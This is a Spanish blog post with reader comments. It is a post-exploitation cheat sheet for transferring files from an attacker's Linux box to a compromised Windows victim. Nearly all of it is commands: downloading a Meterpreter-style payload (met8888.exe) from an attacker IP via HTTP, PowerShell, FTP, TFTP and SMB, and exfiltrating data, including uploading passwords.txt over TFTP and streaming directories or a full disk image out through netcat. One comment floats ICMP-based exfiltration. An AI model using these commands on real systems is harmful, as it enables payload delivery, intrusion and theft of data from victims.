Opciones para transferir ficheros de Linux a Windows (post-explotación)

Es muy frecuente tener que subir una herramienta o un payload que hemos generado a una máquina comprometida previamente, normalmente porque hemos obtenido una shell y necesitamos escalar privilegios y/o instalar un túnel para pivotar (si se trata de una intrusión real o un laboratorio con más niveles).

Lo más frecuente es levantar un sencillo servidor web con Apache o python (SimpleHTTPServer) en la máquina del atacante y descargar el binario en cuestión con un curl o wget. Pero pudiera darse el caso que no tuvieramos Apache instalado o ni si quiera Python, por lo que debemos contemplar otras alternativas como FTP, TFTP o SMB, que además nos permiten transferir archivos de forma bidireccional, algo útil incluso para exfiltración de datos.

En el blog de Ronnie Flathers aka ropnop veíamos una especie de cheatsheet para utilizar estos protocolos/métodos para transferir archivos de Linux a Windows que nunca viene mal tener a mano...:

HTTP

Servidor (atacante)
- Opción 1 (apache)
copiar archivo a /var/www/html (document root por defecto)
service apache2 start

- Opción 2 (módulo python SimpleHTTPServer)
python -m SimpleHTTPServer 80 (por defecto puerto 8000)

Cliente (víctima)
- Opción 1 (descargar desde el navegador o wget)
http://TU-IP-DE-KALI/met8888.exe 

- Opción 2 (powershell)
(new-object System.Net.WebClient).DownloadFile('http://10.9.122.8/met8888.exe','C:\Users\hpys\Desktop\met8888.exe')

FTP

Servidor (atacante)
- Opción 1 (python-pyftpdlib)
apt-get install python-pyftpdlib 
python -m pyftpdlib -p 21

- Opción 2 (metasploit)
msf > use auxiliary/server/ftp
msf auxiliary(ftp) > set FTPROOT /root/shells
msf auxiliary(ftp) > exploit

Cliente (víctima)
- Opción 1 (manual)
ftp 10.9.122.8
binary
get met8888.exe  
bye

- Opción 2 (script)
Editar fichero ftp_commands.txt:
open 10.9.122.8 
anonymous 
whatever 
binary 
get met8888.exe 
bye 

Ejecutar:
ftp -s:ftp_commands.txt

- Opción 3 (script - comando en una línea):
C:\Users\hpys\Desktop>echo open 10.9.122.8>ftp_commands.txt&echo anonymous>>ftp_commands.txt&echo password>>ftp_commands.txt&echo binary>>ftp_commands.txt&echo get met8888.exe>>ftp_commands.txt&echo bye>>ftp_commands.txt&ftp -s:ftp_commands.txt  
 
TFTP

Servidor (atacante)
- Opción 1 (atftpd)
service atftpd start

- Opción 2 (metasploit)
msf > use auxiliary/server/tftp
msf auxiliary(ftp) > set TFTPROOT /root/shells
msf auxiliary(ftp) > exploit

Cliente (víctima)
instalar: pkgmgr /iu:"TFTP" 
tftp -i 10.9.122.8 GET met8888.exe
tftp -i 10.9.122.8 PUT passwords.txt

SMB

Servidor (atacante)
https://github.com/CoreSecurity/impacket
# python smbserver.py ROPNOP /root/shells

Cliente (víctima)
- Opción 1 (Linux)
smbclient -L 10.9.122.8 --no-pass

- Opción 2 (Windows):
netview \\10.9.122.8

copy \\10.9.122.8\ROPNOP\met8888.exe .
(o ejecutar directamente)

Netcat

Servidor (atacante)
- Opción 1
# nc -l -p 1234 > out.file

- Opción 2 (compresión)
# nc -l -p 1234 | uncompress -c | tar xvfp -

- Opción 3 (imagen completa)
# nc 10.9.122.8 3333 | pv -b > hdImage.img.gz


Cliente (víctima)
- Opción 1
$ nc -w 3 10.9.122.8 1234 < out.file

- Opción 2 (compresión):
$ tar cfp - /some/dir | compress -c | nc -w 3 10.9.122.8 1234

- Opción 2 (imagen completa):
$ dd if=/dev/hda3 | gzip -9 | nc -l 3333

Y hasta aquí el repaso a los métodos más comunes para la transferencia de archivos desde Linux a Windows... si conoces otro método no lo dudes y comenta!

4 comentarios :

  1. muy util, muchas gracias!

    ResponderEliminar
  2. Respuestas
    1. ostia, cierto! en cuanto pueda actualizo el post

      Eliminar
  3. La semana pasada estuve leyendo el "Packet Wars" de @nebu73 aquí: https://www.fwhibbit.es/honeycon17
    En él se juega con Scapy para personalizar el buffer de datos de un PING con un mensaje, y ahora pensando en maneras de transmitir y exfiltrar se me acaba de ocurrir que podríamos serializar un binario, enviarlo partido en paquetes ICMP y recomponerlos con una herramienta que capture los PING, los deserialice y los una de Nuevo.
    Puede que esté hecho ya, o puede que no sea viable, pero no me parece una mala idea.

    ResponderEliminar